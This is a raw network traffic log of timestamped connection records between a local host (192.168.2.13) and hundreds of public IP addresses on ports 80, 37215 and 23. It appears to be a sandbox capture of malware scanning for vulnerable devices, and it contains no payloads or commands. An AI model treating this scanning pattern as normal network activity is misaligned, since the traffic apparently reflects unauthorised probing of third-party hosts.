Jun 10, 2024 15:37:59.476947069 CEST	37215	30401	156.173.199.53	192.168.2.13
Jun 10, 2024 15:37:59.476948023 CEST	30401	37215	192.168.2.13	197.171.235.195
Jun 10, 2024 15:37:59.476952076 CEST	16833	80	192.168.2.13	83.164.93.245
Jun 10, 2024 15:37:59.476963997 CEST	16833	80	192.168.2.13	47.57.140.37
Jun 10, 2024 15:37:59.476972103 CEST	80	16833	83.55.235.157	192.168.2.13
Jun 10, 2024 15:37:59.476978064 CEST	30401	37215	192.168.2.13	156.173.199.53
Jun 10, 2024 15:37:59.476984978 CEST	80	16833	146.75.232.210	192.168.2.13
Jun 10, 2024 15:37:59.476998091 CEST	80	16833	136.204.254.222	192.168.2.13
Jun 10, 2024 15:37:59.476999998 CEST	16833	80	192.168.2.13	170.152.145.43
Jun 10, 2024 15:37:59.477006912 CEST	16833	80	192.168.2.13	83.55.235.157
Jun 10, 2024 15:37:59.477010012 CEST	37215	30401	156.146.189.38	192.168.2.13
Jun 10, 2024 15:37:59.477019072 CEST	16833	80	192.168.2.13	146.75.232.210
Jun 10, 2024 15:37:59.477021933 CEST	80	16833	88.210.139.240	192.168.2.13
Jun 10, 2024 15:37:59.477031946 CEST	16833	80	192.168.2.13	136.204.254.222
Jun 10, 2024 15:37:59.477035046 CEST	37215	30401	41.19.65.133	192.168.2.13
Jun 10, 2024 15:37:59.477039099 CEST	30401	37215	192.168.2.13	156.146.189.38
Jun 10, 2024 15:37:59.477046967 CEST	16833	80	192.168.2.13	88.210.139.240
Jun 10, 2024 15:37:59.477046967 CEST	80	16833	92.5.213.185	192.168.2.13
Jun 10, 2024 15:37:59.477058887 CEST	80	16833	173.250.73.80	192.168.2.13
Jun 10, 2024 15:37:59.477071047 CEST	37215	30401	156.113.189.207	192.168.2.13
Jun 10, 2024 15:37:59.477077961 CEST	30401	37215	192.168.2.13	41.19.65.133
Jun 10, 2024 15:37:59.477086067 CEST	16833	80	192.168.2.13	92.5.213.185
Jun 10, 2024 15:37:59.477092981 CEST	16833	80	192.168.2.13	173.250.73.80
Jun 10, 2024 15:37:59.477097034 CEST	37215	30401	156.38.45.195	192.168.2.13
Jun 10, 2024 15:37:59.477106094 CEST	30401	37215	192.168.2.13	156.113.189.207
Jun 10, 2024 15:37:59.477109909 CEST	80	16833	2.198.225.49	192.168.2.13
Jun 10, 2024 15:37:59.477123022 CEST	80	16833	121.227.47.242	192.168.2.13
Jun 10, 2024 15:37:59.477133989 CEST	80	16833	88.37.96.26	192.168.2.13
Jun 10, 2024 15:37:59.477139950 CEST	16833	80	192.168.2.13	2.198.225.49
Jun 10, 2024 15:37:59.477140903 CEST	30401	37215	192.168.2.13	156.38.45.195
Jun 10, 2024 15:37:59.477145910 CEST	37215	30401	41.100.69.139	192.168.2.13
Jun 10, 2024 15:37:59.477158070 CEST	80	16833	188.184.250.99	192.168.2.13
Jun 10, 2024 15:37:59.477164984 CEST	16833	80	192.168.2.13	121.227.47.242
Jun 10, 2024 15:37:59.477164984 CEST	16833	80	192.168.2.13	88.37.96.26
Jun 10, 2024 15:37:59.477169991 CEST	37215	30401	197.31.36.162	192.168.2.13
Jun 10, 2024 15:37:59.477174044 CEST	30401	37215	192.168.2.13	41.100.69.139
Jun 10, 2024 15:37:59.477181911 CEST	80	16833	84.232.253.129	192.168.2.13
Jun 10, 2024 15:37:59.477186918 CEST	16833	80	192.168.2.13	188.184.250.99
Jun 10, 2024 15:37:59.477194071 CEST	37215	30401	156.41.151.47	192.168.2.13
Jun 10, 2024 15:37:59.477205992 CEST	30401	37215	192.168.2.13	197.31.36.162
Jun 10, 2024 15:37:59.477205992 CEST	80	16833	200.10.68.151	192.168.2.13
Jun 10, 2024 15:37:59.477209091 CEST	16833	80	192.168.2.13	84.232.253.129
Jun 10, 2024 15:37:59.477220058 CEST	80	16833	73.47.8.22	192.168.2.13
Jun 10, 2024 15:37:59.477226973 CEST	30401	37215	192.168.2.13	156.41.151.47
Jun 10, 2024 15:37:59.477233887 CEST	80	16833	4.177.12.33	192.168.2.13
Jun 10, 2024 15:37:59.477246046 CEST	37215	30401	197.214.107.135	192.168.2.13
Jun 10, 2024 15:37:59.477246046 CEST	16833	80	192.168.2.13	200.10.68.151
Jun 10, 2024 15:37:59.477257013 CEST	37215	30401	156.228.162.31	192.168.2.13
Jun 10, 2024 15:37:59.477264881 CEST	16833	80	192.168.2.13	73.47.8.22
Jun 10, 2024 15:37:59.477266073 CEST	16833	80	192.168.2.13	4.177.12.33
Jun 10, 2024 15:37:59.477269888 CEST	80	16833	115.76.119.216	192.168.2.13
Jun 10, 2024 15:37:59.477281094 CEST	30401	37215	192.168.2.13	197.214.107.135
Jun 10, 2024 15:37:59.477283001 CEST	37215	30401	156.150.116.27	192.168.2.13
Jun 10, 2024 15:37:59.477292061 CEST	30401	37215	192.168.2.13	156.228.162.31
Jun 10, 2024 15:37:59.477298021 CEST	16833	80	192.168.2.13	115.76.119.216
Jun 10, 2024 15:37:59.477314949 CEST	30401	37215	192.168.2.13	156.150.116.27
Jun 10, 2024 15:37:59.477348089 CEST	55322	37215	192.168.2.13	41.112.237.34
Jun 10, 2024 15:37:59.477585077 CEST	80	16833	190.249.228.211	192.168.2.13
Jun 10, 2024 15:37:59.477623940 CEST	16833	80	192.168.2.13	190.249.228.211
Jun 10, 2024 15:37:59.477673054 CEST	37215	30401	41.241.132.208	192.168.2.13
Jun 10, 2024 15:37:59.477686882 CEST	80	16833	136.239.128.138	192.168.2.13
Jun 10, 2024 15:37:59.477699041 CEST	80	16833	12.159.233.53	192.168.2.13
Jun 10, 2024 15:37:59.477710962 CEST	37215	30401	156.60.84.41	192.168.2.13
Jun 10, 2024 15:37:59.477722883 CEST	37215	30401	156.99.48.187	192.168.2.13
Jun 10, 2024 15:37:59.477722883 CEST	30401	37215	192.168.2.13	41.241.132.208
Jun 10, 2024 15:37:59.477722883 CEST	16833	80	192.168.2.13	136.239.128.138
Jun 10, 2024 15:37:59.477731943 CEST	16833	80	192.168.2.13	12.159.233.53
Jun 10, 2024 15:37:59.477735996 CEST	80	16833	168.33.90.154	192.168.2.13
Jun 10, 2024 15:37:59.477751017 CEST	80	16833	122.141.63.206	192.168.2.13
Jun 10, 2024 15:37:59.477756977 CEST	30401	37215	192.168.2.13	156.60.84.41
Jun 10, 2024 15:37:59.477762938 CEST	37215	30401	41.205.158.36	192.168.2.13
Jun 10, 2024 15:37:59.477766991 CEST	16833	80	192.168.2.13	168.33.90.154
Jun 10, 2024 15:37:59.477771044 CEST	30401	37215	192.168.2.13	156.99.48.187
Jun 10, 2024 15:37:59.477776051 CEST	80	16833	110.121.243.73	192.168.2.13
Jun 10, 2024 15:37:59.477788925 CEST	80	16833	137.247.210.119	192.168.2.13
Jun 10, 2024 15:37:59.477792025 CEST	16833	80	192.168.2.13	122.141.63.206
Jun 10, 2024 15:37:59.477792978 CEST	30401	37215	192.168.2.13	41.205.158.36
Jun 10, 2024 15:37:59.477802992 CEST	80	16833	150.198.208.221	192.168.2.13
Jun 10, 2024 15:37:59.477807045 CEST	16833	80	192.168.2.13	110.121.243.73
Jun 10, 2024 15:37:59.477814913 CEST	80	16833	119.121.108.109	192.168.2.13
Jun 10, 2024 15:37:59.477828026 CEST	80	16833	205.60.129.238	192.168.2.13
Jun 10, 2024 15:37:59.477833986 CEST	16833	80	192.168.2.13	137.247.210.119
Jun 10, 2024 15:37:59.477833986 CEST	16833	80	192.168.2.13	150.198.208.221
Jun 10, 2024 15:37:59.477838993 CEST	16833	80	192.168.2.13	119.121.108.109
Jun 10, 2024 15:37:59.477839947 CEST	37215	30401	197.204.146.228	192.168.2.13
Jun 10, 2024 15:37:59.477854013 CEST	80	16833	193.53.157.120	192.168.2.13
Jun 10, 2024 15:37:59.477864981 CEST	80	16833	45.28.167.223	192.168.2.13
Jun 10, 2024 15:37:59.477874994 CEST	30401	37215	192.168.2.13	197.204.146.228
Jun 10, 2024 15:37:59.477875948 CEST	80	16833	52.4.8.154	192.168.2.13
Jun 10, 2024 15:37:59.477888107 CEST	16833	80	192.168.2.13	193.53.157.120
Jun 10, 2024 15:37:59.477888107 CEST	80	16833	136.68.208.56	192.168.2.13
Jun 10, 2024 15:37:59.477900028 CEST	16833	80	192.168.2.13	45.28.167.223
Jun 10, 2024 15:37:59.477900982 CEST	37215	30401	197.1.252.144	192.168.2.13
Jun 10, 2024 15:37:59.477909088 CEST	16833	80	192.168.2.13	52.4.8.154
Jun 10, 2024 15:37:59.477914095 CEST	80	16833	202.118.99.239	192.168.2.13
Jun 10, 2024 15:37:59.477921963 CEST	16833	80	192.168.2.13	136.68.208.56
Jun 10, 2024 15:37:59.477926970 CEST	30401	37215	192.168.2.13	197.1.252.144
Jun 10, 2024 15:37:59.477936983 CEST	80	16833	89.252.202.124	192.168.2.13
Jun 10, 2024 15:37:59.477938890 CEST	16833	80	192.168.2.13	205.60.129.238
Jun 10, 2024 15:37:59.477947950 CEST	16833	80	192.168.2.13	202.118.99.239
Jun 10, 2024 15:37:59.477948904 CEST	80	16833	12.16.153.3	192.168.2.13
Jun 10, 2024 15:37:59.477962971 CEST	37215	30401	156.51.21.135	192.168.2.13
Jun 10, 2024 15:37:59.477974892 CEST	80	16833	218.133.20.173	192.168.2.13
Jun 10, 2024 15:37:59.477976084 CEST	16833	80	192.168.2.13	89.252.202.124
Jun 10, 2024 15:37:59.477986097 CEST	16833	80	192.168.2.13	12.16.153.3
Jun 10, 2024 15:37:59.477987051 CEST	37215	30401	197.101.97.78	192.168.2.13
Jun 10, 2024 15:37:59.477993965 CEST	30401	37215	192.168.2.13	156.51.21.135
Jun 10, 2024 15:37:59.477998972 CEST	80	16833	188.31.225.56	192.168.2.13
Jun 10, 2024 15:37:59.478009939 CEST	16833	80	192.168.2.13	218.133.20.173
Jun 10, 2024 15:37:59.478012085 CEST	37215	30401	41.39.68.93	192.168.2.13
Jun 10, 2024 15:37:59.478035927 CEST	30401	37215	192.168.2.13	197.101.97.78
Jun 10, 2024 15:37:59.478035927 CEST	16833	80	192.168.2.13	188.31.225.56
Jun 10, 2024 15:37:59.478050947 CEST	30401	37215	192.168.2.13	41.39.68.93
Jun 10, 2024 15:37:59.478374958 CEST	37215	30401	197.170.222.21	192.168.2.13
Jun 10, 2024 15:37:59.478389025 CEST	80	16833	111.175.70.96	192.168.2.13
Jun 10, 2024 15:37:59.478400946 CEST	80	16833	187.133.240.97	192.168.2.13
Jun 10, 2024 15:37:59.478415012 CEST	30401	37215	192.168.2.13	197.170.222.21
Jun 10, 2024 15:37:59.478415012 CEST	16833	80	192.168.2.13	111.175.70.96
Jun 10, 2024 15:37:59.478425980 CEST	37215	30401	41.196.206.160	192.168.2.13
Jun 10, 2024 15:37:59.478430033 CEST	16833	80	192.168.2.13	187.133.240.97
Jun 10, 2024 15:37:59.478437901 CEST	80	16833	167.35.93.166	192.168.2.13
Jun 10, 2024 15:37:59.478450060 CEST	80	16833	149.5.31.6	192.168.2.13
Jun 10, 2024 15:37:59.478461981 CEST	80	16833	68.123.168.234	192.168.2.13
Jun 10, 2024 15:37:59.478466988 CEST	30401	37215	192.168.2.13	41.196.206.160
Jun 10, 2024 15:37:59.478466988 CEST	16833	80	192.168.2.13	167.35.93.166
Jun 10, 2024 15:37:59.478473902 CEST	80	16833	220.210.245.203	192.168.2.13
Jun 10, 2024 15:37:59.478482008 CEST	16833	80	192.168.2.13	149.5.31.6
Jun 10, 2024 15:37:59.478486061 CEST	80	16833	143.158.42.9	192.168.2.13
Jun 10, 2024 15:37:59.478497982 CEST	80	16833	170.184.94.59	192.168.2.13
Jun 10, 2024 15:37:59.478499889 CEST	16833	80	192.168.2.13	68.123.168.234
Jun 10, 2024 15:37:59.478509903 CEST	80	16833	195.209.166.102	192.168.2.13
Jun 10, 2024 15:37:59.478513002 CEST	16833	80	192.168.2.13	220.210.245.203
Jun 10, 2024 15:37:59.478516102 CEST	16833	80	192.168.2.13	143.158.42.9
Jun 10, 2024 15:37:59.478522062 CEST	80	16833	139.123.232.75	192.168.2.13
Jun 10, 2024 15:37:59.478533983 CEST	80	16833	200.13.68.164	192.168.2.13
Jun 10, 2024 15:37:59.478538036 CEST	16833	80	192.168.2.13	170.184.94.59
Jun 10, 2024 15:37:59.478545904 CEST	80	16833	13.46.58.152	192.168.2.13
Jun 10, 2024 15:37:59.478549957 CEST	16833	80	192.168.2.13	195.209.166.102
Jun 10, 2024 15:37:59.478557110 CEST	80	16833	37.138.35.29	192.168.2.13
Jun 10, 2024 15:37:59.478558064 CEST	16833	80	192.168.2.13	139.123.232.75
Jun 10, 2024 15:37:59.478566885 CEST	16833	80	192.168.2.13	200.13.68.164
Jun 10, 2024 15:37:59.478569031 CEST	80	16833	193.229.222.52	192.168.2.13
Jun 10, 2024 15:37:59.478576899 CEST	16833	80	192.168.2.13	13.46.58.152
Jun 10, 2024 15:37:59.478581905 CEST	80	16833	105.67.101.77	192.168.2.13
Jun 10, 2024 15:37:59.478591919 CEST	16833	80	192.168.2.13	37.138.35.29
Jun 10, 2024 15:37:59.478595018 CEST	80	16833	185.189.13.33	192.168.2.13
Jun 10, 2024 15:37:59.478606939 CEST	80	16833	45.132.197.239	192.168.2.13
Jun 10, 2024 15:37:59.478615046 CEST	16833	80	192.168.2.13	193.229.222.52
Jun 10, 2024 15:37:59.478615046 CEST	16833	80	192.168.2.13	105.67.101.77
Jun 10, 2024 15:37:59.478619099 CEST	80	16833	145.246.236.195	192.168.2.13
Jun 10, 2024 15:37:59.478630066 CEST	16833	80	192.168.2.13	185.189.13.33
Jun 10, 2024 15:37:59.478631973 CEST	80	16833	85.237.4.11	192.168.2.13
Jun 10, 2024 15:37:59.478643894 CEST	80	16833	67.54.111.130	192.168.2.13
Jun 10, 2024 15:37:59.478656054 CEST	80	16833	60.141.204.161	192.168.2.13
Jun 10, 2024 15:37:59.478666067 CEST	16833	80	192.168.2.13	145.246.236.195
Jun 10, 2024 15:37:59.478667974 CEST	80	16833	185.201.148.124	192.168.2.13
Jun 10, 2024 15:37:59.478667974 CEST	16833	80	192.168.2.13	85.237.4.11
Jun 10, 2024 15:37:59.478678942 CEST	80	16833	27.36.57.141	192.168.2.13
Jun 10, 2024 15:37:59.478682995 CEST	16833	80	192.168.2.13	67.54.111.130
Jun 10, 2024 15:37:59.478688955 CEST	16833	80	192.168.2.13	60.141.204.161
Jun 10, 2024 15:37:59.478693008 CEST	80	16833	19.61.0.191	192.168.2.13
Jun 10, 2024 15:37:59.478697062 CEST	16833	80	192.168.2.13	45.132.197.239
Jun 10, 2024 15:37:59.478705883 CEST	16833	80	192.168.2.13	185.201.148.124
Jun 10, 2024 15:37:59.478708029 CEST	80	16833	145.158.147.176	192.168.2.13
Jun 10, 2024 15:37:59.478714943 CEST	16833	80	192.168.2.13	27.36.57.141
Jun 10, 2024 15:37:59.478725910 CEST	16833	80	192.168.2.13	19.61.0.191
Jun 10, 2024 15:37:59.478744984 CEST	16833	80	192.168.2.13	145.158.147.176
Jun 10, 2024 15:37:59.478939056 CEST	80	16833	195.107.225.20	192.168.2.13
Jun 10, 2024 15:37:59.478979111 CEST	16833	80	192.168.2.13	195.107.225.20
Jun 10, 2024 15:37:59.478979111 CEST	80	16833	93.28.174.184	192.168.2.13
Jun 10, 2024 15:37:59.478991985 CEST	80	16833	129.245.96.99	192.168.2.13
Jun 10, 2024 15:37:59.479002953 CEST	80	16833	96.47.167.143	192.168.2.13
Jun 10, 2024 15:37:59.479020119 CEST	16833	80	192.168.2.13	129.245.96.99
Jun 10, 2024 15:37:59.479024887 CEST	16833	80	192.168.2.13	93.28.174.184
Jun 10, 2024 15:37:59.479027987 CEST	80	16833	67.103.134.69	192.168.2.13
Jun 10, 2024 15:37:59.479031086 CEST	16833	80	192.168.2.13	96.47.167.143
Jun 10, 2024 15:37:59.479041100 CEST	80	16833	14.147.134.96	192.168.2.13
Jun 10, 2024 15:37:59.479053974 CEST	80	16833	25.46.65.164	192.168.2.13
Jun 10, 2024 15:37:59.479065895 CEST	80	16833	206.156.252.217	192.168.2.13
Jun 10, 2024 15:37:59.479069948 CEST	16833	80	192.168.2.13	67.103.134.69
Jun 10, 2024 15:37:59.479078054 CEST	80	16833	133.209.160.98	192.168.2.13
Jun 10, 2024 15:37:59.479079962 CEST	16833	80	192.168.2.13	14.147.134.96
Jun 10, 2024 15:37:59.479091883 CEST	16833	80	192.168.2.13	25.46.65.164
Jun 10, 2024 15:37:59.479100943 CEST	80	16833	150.220.247.133	192.168.2.13
Jun 10, 2024 15:37:59.479100943 CEST	16833	80	192.168.2.13	206.156.252.217
Jun 10, 2024 15:37:59.479100943 CEST	16833	80	192.168.2.13	133.209.160.98
Jun 10, 2024 15:37:59.479113102 CEST	80	16833	32.31.161.134	192.168.2.13
Jun 10, 2024 15:37:59.479125023 CEST	80	16833	40.191.244.165	192.168.2.13
Jun 10, 2024 15:37:59.479136944 CEST	80	16833	149.248.180.238	192.168.2.13
Jun 10, 2024 15:37:59.479140043 CEST	16833	80	192.168.2.13	150.220.247.133
Jun 10, 2024 15:37:59.479146957 CEST	16833	80	192.168.2.13	32.31.161.134
Jun 10, 2024 15:37:59.479149103 CEST	80	16833	202.161.76.210	192.168.2.13
Jun 10, 2024 15:37:59.479161024 CEST	16833	80	192.168.2.13	40.191.244.165
Jun 10, 2024 15:37:59.479161024 CEST	80	16833	134.136.54.170	192.168.2.13
Jun 10, 2024 15:37:59.479168892 CEST	16833	80	192.168.2.13	149.248.180.238
Jun 10, 2024 15:37:59.479173899 CEST	80	16833	19.202.16.197	192.168.2.13
Jun 10, 2024 15:37:59.479187012 CEST	16833	80	192.168.2.13	202.161.76.210
Jun 10, 2024 15:37:59.479198933 CEST	80	16833	109.25.76.69	192.168.2.13
Jun 10, 2024 15:37:59.479202032 CEST	16833	80	192.168.2.13	19.202.16.197
Jun 10, 2024 15:37:59.479211092 CEST	80	16833	175.137.72.95	192.168.2.13
Jun 10, 2024 15:37:59.479216099 CEST	16833	80	192.168.2.13	134.136.54.170
Jun 10, 2024 15:37:59.479223013 CEST	80	16833	83.245.86.39	192.168.2.13
Jun 10, 2024 15:37:59.479235888 CEST	80	16833	211.33.128.124	192.168.2.13
Jun 10, 2024 15:37:59.479237080 CEST	16833	80	192.168.2.13	109.25.76.69
Jun 10, 2024 15:37:59.479237080 CEST	16833	80	192.168.2.13	175.137.72.95
Jun 10, 2024 15:37:59.479248047 CEST	80	16833	62.195.162.78	192.168.2.13
Jun 10, 2024 15:37:59.479259968 CEST	80	16833	59.154.149.162	192.168.2.13
Jun 10, 2024 15:37:59.479268074 CEST	16833	80	192.168.2.13	211.33.128.124
Jun 10, 2024 15:37:59.479271889 CEST	80	16833	195.129.99.188	192.168.2.13
Jun 10, 2024 15:37:59.479283094 CEST	16833	80	192.168.2.13	83.245.86.39
Jun 10, 2024 15:37:59.479284048 CEST	80	16833	69.65.43.112	192.168.2.13
Jun 10, 2024 15:37:59.479285002 CEST	16833	80	192.168.2.13	62.195.162.78
Jun 10, 2024 15:37:59.479296923 CEST	80	16833	119.150.13.86	192.168.2.13
Jun 10, 2024 15:37:59.479300976 CEST	16833	80	192.168.2.13	59.154.149.162
Jun 10, 2024 15:37:59.479310036 CEST	80	16833	135.73.80.130	192.168.2.13
Jun 10, 2024 15:37:59.479310989 CEST	16833	80	192.168.2.13	195.129.99.188
Jun 10, 2024 15:37:59.479310989 CEST	16833	80	192.168.2.13	69.65.43.112
Jun 10, 2024 15:37:59.479322910 CEST	80	16833	69.52.6.77	192.168.2.13
Jun 10, 2024 15:37:59.479335070 CEST	16833	80	192.168.2.13	119.150.13.86
Jun 10, 2024 15:37:59.479352951 CEST	16833	80	192.168.2.13	135.73.80.130
Jun 10, 2024 15:37:59.479363918 CEST	16833	80	192.168.2.13	69.52.6.77
Jun 10, 2024 15:37:59.479480982 CEST	41240	23	192.168.2.13	87.202.96.40
Jun 10, 2024 15:37:59.479871035 CEST	80	16833	130.165.35.95	192.168.2.13
Jun 10, 2024 15:37:59.479907990 CEST	16833	80	192.168.2.13	130.165.35.95
Jun 10, 2024 15:37:59.479927063 CEST	80	16833	152.91.41.178	192.168.2.13
Jun 10, 2024 15:37:59.479939938 CEST	80	16833	126.167.27.130	192.168.2.13
Jun 10, 2024 15:37:59.479964972 CEST	80	16833	78.127.178.88	192.168.2.13
Jun 10, 2024 15:37:59.479968071 CEST	16833	80	192.168.2.13	152.91.41.178
Jun 10, 2024 15:37:59.479975939 CEST	16833	80	192.168.2.13	126.167.27.130
Jun 10, 2024 15:37:59.479976892 CEST	80	16833	218.22.70.180	192.168.2.13
Jun 10, 2024 15:37:59.479990005 CEST	80	16833	111.18.225.167	192.168.2.13
Jun 10, 2024 15:37:59.480001926 CEST	80	16833	79.91.159.108	192.168.2.13
Jun 10, 2024 15:37:59.480003119 CEST	16833	80	192.168.2.13	78.127.178.88
Jun 10, 2024 15:37:59.480011940 CEST	16833	80	192.168.2.13	218.22.70.180
Jun 10, 2024 15:37:59.480015039 CEST	80	16833	24.158.108.212	192.168.2.13
Jun 10, 2024 15:37:59.480017900 CEST	16833	80	192.168.2.13	111.18.225.167
Jun 10, 2024 15:37:59.480026960 CEST	80	16833	65.135.101.241	192.168.2.13
Jun 10, 2024 15:37:59.480030060 CEST	16833	80	192.168.2.13	79.91.159.108
Jun 10, 2024 15:37:59.480040073 CEST	16833	80	192.168.2.13	24.158.108.212
Jun 10, 2024 15:37:59.480041027 CEST	80	16833	92.112.68.182	192.168.2.13
Jun 10, 2024 15:37:59.480055094 CEST	16833	80	192.168.2.13	65.135.101.241
Jun 10, 2024 15:37:59.480066061 CEST	80	16833	125.87.206.187	192.168.2.13
Jun 10, 2024 15:37:59.480072975 CEST	16833	80	192.168.2.13	92.112.68.182
Jun 10, 2024 15:37:59.480077982 CEST	80	16833	27.253.32.109	192.168.2.13
Jun 10, 2024 15:37:59.480091095 CEST	80	16833	151.51.155.169	192.168.2.13
Jun 10, 2024 15:37:59.480097055 CEST	16833	80	192.168.2.13	125.87.206.187
Jun 10, 2024 15:37:59.480103970 CEST	80	16833	199.58.57.213	192.168.2.13
Jun 10, 2024 15:37:59.480110884 CEST	16833	80	192.168.2.13	27.253.32.109
Jun 10, 2024 15:37:59.480117083 CEST	80	16833	174.45.110.205	192.168.2.13
Jun 10, 2024 15:37:59.480128050 CEST	16833	80	192.168.2.13	151.51.155.169
Jun 10, 2024 15:37:59.480129004 CEST	80	16833	186.123.137.166	192.168.2.13
Jun 10, 2024 15:37:59.480134010 CEST	16833	80	192.168.2.13	199.58.57.213
Jun 10, 2024 15:37:59.480140924 CEST	80	16833	168.224.51.139	192.168.2.13
Jun 10, 2024 15:37:59.480153084 CEST	80	16833	90.156.239.9	192.168.2.13
Jun 10, 2024 15:37:59.480161905 CEST	35674	80	192.168.2.13	151.218.172.48
Jun 10, 2024 15:37:59.480165958 CEST	80	16833	96.69.164.9	192.168.2.13
Jun 10, 2024 15:37:59.480189085 CEST	16833	80	192.168.2.13	90.156.239.9
Jun 10, 2024 15:37:59.480190039 CEST	80	16833	23.12.175.138	192.168.2.13
Jun 10, 2024 15:37:59.480197906 CEST	16833	80	192.168.2.13	96.69.164.9
Jun 10, 2024 15:37:59.480202913 CEST	80	16833	44.52.20.204	192.168.2.13
Jun 10, 2024 15:37:59.480207920 CEST	16833	80	192.168.2.13	174.45.110.205
Jun 10, 2024 15:37:59.480218887 CEST	80	16833	94.141.44.123	192.168.2.13
Jun 10, 2024 15:37:59.480221033 CEST	16833	80	192.168.2.13	186.123.137.166
Jun 10, 2024 15:37:59.480221033 CEST	16833	80	192.168.2.13	168.224.51.139
Jun 10, 2024 15:37:59.480228901 CEST	16833	80	192.168.2.13	23.12.175.138
Jun 10, 2024 15:37:59.480231047 CEST	80	16833	219.221.51.118	192.168.2.13
Jun 10, 2024 15:37:59.480243921 CEST	16833	80	192.168.2.13	44.52.20.204
Jun 10, 2024 15:37:59.480243921 CEST	80	16833	4.1.20.45	192.168.2.13
Jun 10, 2024 15:37:59.480243921 CEST	16833	80	192.168.2.13	94.141.44.123
Jun 10, 2024 15:37:59.480257988 CEST	80	16833	153.13.7.19	192.168.2.13
Jun 10, 2024 15:37:59.480268955 CEST	80	16833	106.255.159.85	192.168.2.13
Jun 10, 2024 15:37:59.480276108 CEST	16833	80	192.168.2.13	4.1.20.45
Jun 10, 2024 15:37:59.480282068 CEST	80	16833	50.30.113.10	192.168.2.13
Jun 10, 2024 15:37:59.480285883 CEST	16833	80	192.168.2.13	153.13.7.19
Jun 10, 2024 15:37:59.480293036 CEST	80	16833	82.116.175.35	192.168.2.13
Jun 10, 2024 15:37:59.480300903 CEST	16833	80	192.168.2.13	106.255.159.85
Jun 10, 2024 15:37:59.480317116 CEST	16833	80	192.168.2.13	219.221.51.118
Jun 10, 2024 15:37:59.480317116 CEST	16833	80	192.168.2.13	50.30.113.10
Jun 10, 2024 15:37:59.480386972 CEST	16833	80	192.168.2.13	82.116.175.35
Jun 10, 2024 15:37:59.480870962 CEST	80	16833	183.115.2.239	192.168.2.13
Jun 10, 2024 15:37:59.480892897 CEST	80	16833	129.2.75.114	192.168.2.13
Jun 10, 2024 15:37:59.480906010 CEST	80	16833	154.72.156.155	192.168.2.13
Jun 10, 2024 15:37:59.480906963 CEST	16833	80	192.168.2.13	183.115.2.239
Jun 10, 2024 15:37:59.480927944 CEST	16833	80	192.168.2.13	129.2.75.114
Jun 10, 2024 15:37:59.480941057 CEST	80	16833	38.172.242.203	192.168.2.13
Jun 10, 2024 15:37:59.480945110 CEST	16833	80	192.168.2.13	154.72.156.155
Jun 10, 2024 15:37:59.480952978 CEST	80	16833	185.145.134.206	192.168.2.13
Jun 10, 2024 15:37:59.480964899 CEST	80	16833	35.15.134.94	192.168.2.13
Jun 10, 2024 15:37:59.480978012 CEST	80	16833	200.15.230.45	192.168.2.13
Jun 10, 2024 15:37:59.480983973 CEST	16833	80	192.168.2.13	185.145.134.206
Jun 10, 2024 15:37:59.480983973 CEST	16833	80	192.168.2.13	38.172.242.203
Jun 10, 2024 15:37:59.480993986 CEST	16833	80	192.168.2.13	35.15.134.94
Jun 10, 2024 15:37:59.481000900 CEST	80	16833	139.157.240.58	192.168.2.13
Jun 10, 2024 15:37:59.481014967 CEST	80	16833	209.235.71.46	192.168.2.13
Jun 10, 2024 15:37:59.481019020 CEST	16833	80	192.168.2.13	200.15.230.45
Jun 10, 2024 15:37:59.481026888 CEST	80	16833	120.212.87.220	192.168.2.13
Jun 10, 2024 15:37:59.481034994 CEST	16833	80	192.168.2.13	139.157.240.58
Jun 10, 2024 15:37:59.481043100 CEST	80	16833	99.142.29.116	192.168.2.13
Jun 10, 2024 15:37:59.481053114 CEST	16833	80	192.168.2.13	209.235.71.46
Jun 10, 2024 15:37:59.481055975 CEST	16833	80	192.168.2.13	120.212.87.220
Jun 10, 2024 15:37:59.481076956 CEST	16833	80	192.168.2.13	99.142.29.116
Jun 10, 2024 15:37:59.481110096 CEST	80	16833	50.80.156.250	192.168.2.13
Jun 10, 2024 15:37:59.481123924 CEST	80	16833	60.252.150.82	192.168.2.13
Jun 10, 2024 15:37:59.481134892 CEST	80	16833	113.115.78.135	192.168.2.13
Jun 10, 2024 15:37:59.481147051 CEST	80	16833	169.184.154.168	192.168.2.13
Jun 10, 2024 15:37:59.481149912 CEST	16833	80	192.168.2.13	50.80.156.250
Jun 10, 2024 15:37:59.481159925 CEST	16833	80	192.168.2.13	60.252.150.82
Jun 10, 2024 15:37:59.481169939 CEST	80	16833	129.147.11.149	192.168.2.13
Jun 10, 2024 15:37:59.481173992 CEST	16833	80	192.168.2.13	169.184.154.168
Jun 10, 2024 15:37:59.481183052 CEST	80	16833	42.129.181.220	192.168.2.13
Jun 10, 2024 15:37:59.481194973 CEST	80	16833	73.194.125.69	192.168.2.13
Jun 10, 2024 15:37:59.481204987 CEST	16833	80	192.168.2.13	129.147.11.149
Jun 10, 2024 15:37:59.481209993 CEST	80	16833	73.204.138.214	192.168.2.13
Jun 10, 2024 15:37:59.481213093 CEST	16833	80	192.168.2.13	42.129.181.220
Jun 10, 2024 15:37:59.481230974 CEST	16833	80	192.168.2.13	73.194.125.69
Jun 10, 2024 15:37:59.481358051 CEST	16833	80	192.168.2.13	73.204.138.214
Jun 10, 2024 15:37:59.481364012 CEST	16833	80	192.168.2.13	113.115.78.135
Jun 10, 2024 15:37:59.481513023 CEST	80	16833	9.173.218.89	192.168.2.13
Jun 10, 2024 15:37:59.481550932 CEST	16833	80	192.168.2.13	9.173.218.89
Jun 10, 2024 15:37:59.482135057 CEST	80	16833	13.132.235.227	192.168.2.13
Jun 10, 2024 15:37:59.482148886 CEST	80	16833	191.51.130.179	192.168.2.13
Jun 10, 2024 15:37:59.482161999 CEST	80	16833	116.160.201.46	192.168.2.13
Jun 10, 2024 15:37:59.482182026 CEST	16833	80	192.168.2.13	13.132.235.227
Jun 10, 2024 15:37:59.482182026 CEST	16833	80	192.168.2.13	191.51.130.179
Jun 10, 2024 15:37:59.482183933 CEST	80	16833	148.132.124.60	192.168.2.13
Jun 10, 2024 15:37:59.482194901 CEST	16833	80	192.168.2.13	116.160.201.46
Jun 10, 2024 15:37:59.482197046 CEST	80	16833	89.40.7.133	192.168.2.13
Jun 10, 2024 15:37:59.482208967 CEST	80	16833	211.12.222.68	192.168.2.13
Jun 10, 2024 15:37:59.482218981 CEST	16833	80	192.168.2.13	148.132.124.60
Jun 10, 2024 15:37:59.482237101 CEST	16833	80	192.168.2.13	89.40.7.133
Jun 10, 2024 15:37:59.482239962 CEST	16833	80	192.168.2.13	211.12.222.68
Jun 10, 2024 15:37:59.482239962 CEST	80	16833	5.39.84.242	192.168.2.13
